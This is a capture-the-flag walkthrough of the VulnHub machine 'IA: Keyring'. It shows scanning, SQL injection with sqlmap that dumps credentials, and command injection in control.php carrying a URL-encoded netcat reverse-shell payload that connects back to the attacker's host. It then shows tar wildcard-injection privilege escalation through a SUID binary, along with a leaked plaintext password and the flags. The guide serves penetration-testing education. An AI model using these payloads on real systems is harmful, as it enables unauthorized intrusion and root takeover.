IA: Keyring Vulnhub Official Writeup
Challenge Link : https://vulnhub.com/entry/ia-keyring-101,718/
Network Enumeration
I started the initial enumeration by running a port scan using nmap looking for open ports and default scripts.
┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ nmap -sC -sV -oN nmap/initial 192.168.180.17
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 22:03 IST
Nmap scan report for 192.168.180.17
Host is up (0.010s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8debfd0a768a2a756e9b6e7b51c428db (RSA)
| 256 533135c03aa0482f3a79f556cd3c63ee (ECDSA)
|_ 256 8d7bd3c9156103b1b5f1d2ed2c015565 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds
We have only two ports open. We have SSH running on port 22 and Apache http web server running on port 80. Let us start the enumeration with port 80 first.
Web Enumeration
When we open the IP address in our web browser, we get a signup page. Let us start by creating an account here.
After creating an account, we can login using the login page.
Once we are logged in, we are redirected to the dashboard page.
The dashboard.php
has four different pages but they do not have any useful information. So next I ran a gobuster scan to look for hidden files and directories.
┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ gobuster dir -u http://192.168.180.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.180.17
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2022/11/09 22:23:52 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/about.php (Status: 302) [Size: 561] [--> index.php]
/home.php (Status: 302) [Size: 561] [--> index.php]
/login.php (Status: 200) [Size: 1466]
/.html (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 3254]
/history.php (Status: 200) [Size: 31]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/control.php (Status: 302) [Size: 561] [--> index.php]
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 882165 / 882244
2022/11/09 22:43:59 Finished
===============================================================
We have a new file named history.php
but when we visit the page, we get a blank page. Let us try fuzzing some parameters here. I will be using ffuf
for this.
┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ ffuf -u http://192.168.180.17/history.php?FUZZ=testuser01 -w /usr/share/wordlists/dirb/big.txt -b "PHPSESSID=agcc4727jrvhbi2qi3811iaj26" -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.180.17/history.php?FUZZ=testuser01
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Cookie: PHPSESSID=agcc4727jrvhbi2qi3811iaj26
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
user [Status: 200, Size: 163, Words: 5, Lines: 1, Duration: 26ms]
:: Progress: [20469/20469] :: Job [1/1] :: 1563 req/sec :: Duration: [0:00:20] :: Errors: 0 ::
We found a parameter named user
which shows us the pages visited by the user.
Next I used the sqlmap
tool to check if the user
parameter is vulnerable to SQL Injection and dumped all the data from the database.
┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ sqlmap -u http://192.168.180.17/history.php?user=admin --cookie="PHPSESSID=agcc4727jrvhbi2qi3811iaj26" --dump
We got some credentials and a link to a GitHub repo. Let's save the credentials for later and visit the GitHub repository first.
User Shell
The GitHub repo contains the source code of the website.
On analyzing the source code of control.php
, we can see that there is a parameter named cmdcntr
which can be used to execute commands on the system.
First we need to authenticate as the admin user. We can use the credentials that we found earlier.
Next, I generated a reverse shell payload using revshells.com. Also we need to url-encode the payload for it to work properly.
http://192.168.180.17/control.php?cmdcntr=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.180.134%209001%20%3E%2Ftmp%2Ff
After executing the payload, we got a shell on the target machine.
┌──(madhav㉿kali)-[~/ctf/vulnhub/keyring]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.180.134] from (UNKNOWN) [192.168.180.17] 55274
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@keyring:/var/www/html$
Next I checked the home directory and there is a user named john
but we do not have access to its home directory.
We can try logging in with the password we found from SQL injection for user john
.
www-data@keyring:/home$ ls
john
www-data@keyring:/home$ su john
Password: Sup3r$S3cr3t$PasSW0RD
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
john@keyring:/home$
We can now read the user flag present in the home directory of user john
.
john@keyring:/home$ cd john
cd john
john@keyring:~$ ls
ls
compress user.txt
john@keyring:~$ cat user.txt
cat user.txt
[ Keyring - User Owned ]
----------------------------------------------
Flag : VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
----------------------------------------------
by infosecarticles with <3
Root Shell
Inside the home folder of user john, there is a file named compress
which is a SUID. (We can see that by looking at its permissions).
john@keyring:~$ ls -lah
total 48K
drwxr-x--- 3 john john 4.0K Nov 9 23:19 .
drwxr-xr-x 3 root root 4.0K Jun 7 2021 ..
lrwxrwxrwx 1 john john 9 Jun 20 2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 Jun 7 2021 .bash_logout
-rw-r--r-- 1 john john 3.7K Jun 7 2021 .bashrc
-rwsr-xr-x 1 root root 17K Jun 20 2021 compress
drwx------ 3 john john 4.0K Nov 9 23:19 .gnupg
-rw-r--r-- 1 john john 807 Jun 7 2021 .profile
-rw-rw-r-- 1 john john 192 Jun 20 2021 user.txt
Let's download this file on our computer and open it in ghidra.
We can see that this binary is simply executing the command /bin/tar cf archive.tar *
.
Notice the *
in the end, it will compress everything that is present in the current directory. This file is vulnerable to Wildcard Injection attack.
To exploit this, we need to create a bash script which will contain the payload that we need to execute. Let's call it shell.sh
.
I will simply use a payload which will copy /bin/bash
to /tmp/bash
and then give it SUID permissions.
john@keyring:~$ echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > shell.sh
john@keyring:~$ cat shell.sh
cp /bin/bash /tmp/bash;chmod +s /tmp/bash
Next we need to create two files which will execute our payload.
john@keyring:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
john@keyring:~$ echo "" > --checkpoint=1
Now we have all the files we need.
john@keyring:~$ ls -lah
total 60K
drwxr-x--- 3 john john 4.0K Nov 9 23:35 .
drwxr-xr-x 3 root root 4.0K Jun 7 2021 ..
lrwxrwxrwx 1 john john 9 Jun 20 2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 Jun 7 2021 .bash_logout
-rw-r--r-- 1 john john 3.7K Jun 7 2021 .bashrc
-rw-rw-r-- 1 john john 1 Nov 9 23:35 '--checkpoint=1'
-rw-rw-r-- 1 john john 1 Nov 9 23:35 '--checkpoint-action=exec=sh shell.sh'
-rwsr-xr-x 1 root root 17K Jun 20 2021 compress
drwx------ 3 john john 4.0K Nov 9 23:19 .gnupg
-rw-r--r-- 1 john john 807 Jun 7 2021 .profile
-rw-rw-r-- 1 john john 42 Nov 9 23:34 shell.sh
-rw-rw-r-- 1 john john 192 Jun 20 2021 user.txt
Now after running the compress
binary, the payload will be executed and we will get a binary named bash
in the /tmp
directory.
To get a root shell, now we simply need to run ./bash -p
command.
john@keyring:~$ ./compress
john@keyring:~$ ls -lah /tmp
total 1.1M
drwxrwxrwt 2 root root 4.0K Nov 9 23:35 .
drwxr-xr-x 23 root root 4.0K Jun 7 2021 ..
-rwsr-sr-x 1 root root 1.1M Nov 9 23:35 bash
prw-r--r-- 1 www-data www-data 0 Nov 9 23:36 f
john@keyring:~$ cd /tmp
john@keyring:/tmp$ ./bash -p
bash-4.4# id
id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1000(john)
We have a root shell and now we can read our final flag present in the /root
directory.
bash-4.4# cd /root
bash-4.4# ls
root.txt
bash-4.4# cat root.txt
[ Keyring - Rooted ]
---------------------------------------------------
Flag : VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=
---------------------------------------------------
by infosecarticles with <3
That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!
NOTE: The awesome artwork used in this article was created by Christi du Toit.